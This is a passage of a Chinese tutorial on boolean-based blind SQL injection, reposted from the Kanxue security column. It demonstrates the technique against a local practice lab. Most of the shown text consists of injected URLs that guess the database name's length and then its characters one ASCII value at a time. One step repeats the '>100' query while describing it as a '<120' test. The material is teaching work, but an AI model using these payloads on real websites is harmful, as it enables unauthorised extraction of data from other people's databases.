专栏名称: 看雪学苑
致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号。
目录
相关文章推荐
福建省广播电视局  ·  第十届海峡两岸青年网络视听优秀作品展荣誉揭晓! ·  11 小时前  
福建省广播电视局  ·  第十届海峡两岸青年网络视听优秀作品展荣誉揭晓! ·  11 小时前  
计算机与网络安全  ·  智算产业全景调研 ·  昨天  
第一财经资讯  ·  英伟达CEO黄仁勋回应任正非最新讲话 ·  2 天前  
第一财经资讯  ·  英伟达CEO黄仁勋回应任正非最新讲话 ·  2 天前  
计算机与网络安全  ·  银行金融业信息科技风险监管现场检查手册 ·  2 天前  
51好读  ›  专栏  ›  看雪学苑

SQL注入新手教程(第二部分)

看雪学苑  · 公众号  · 互联网安全  · 2017-07-10 18:00

正文

请到「今天看啥」查看全文


http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2 -+


由上图可以看出,当前数据库名的长度不等于2。

...

http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8 -+

由上图可以看出,当检查到8时,文本"You are in..........."又出现了,这意味着当前数据库名的长度为8。

众所周知,计算机无法理解人类的语言,它只能理解二进制语言,因此,我们要使用ASCII码。ASCII码将字符集中的每一个符号都对应于一个整数,比如字母、数字、标点符号、特殊字符和操作符。

1 = I = 73

2 = G = 71

3 = N = 78

4 = I = 73

5 = T = 84

6 = E = 69

图片来源:www.lookuptables.com

接下来我们要使用ASCII码枚举出这8个字符。

下一条查询使用关键字ascii substr检查当前数据库名中的第一个字符对应的ASCII码是否大于100。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 -+

由上图可以看出,第一个字符的ASCII码确实大于100。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 -+

由上图可以看出,第一个字符的ASCII码小于120。这意味着第个字符的ASCII码在100和120之间。

接下来逐个检查。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 101 -+

由上图可以看出,第一个字符的ASCII码不等于101。

...

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 114 -+

由上图可以看出,第一个字符的ASCII码不等于114。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 -+

由上图可以看出,返回的是TRUE,意味着第一个字符的ASCII码等于115,即's'(小写)。

接下来就是第二个字符,重复以上步骤。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100 -+







请到「今天看啥」查看全文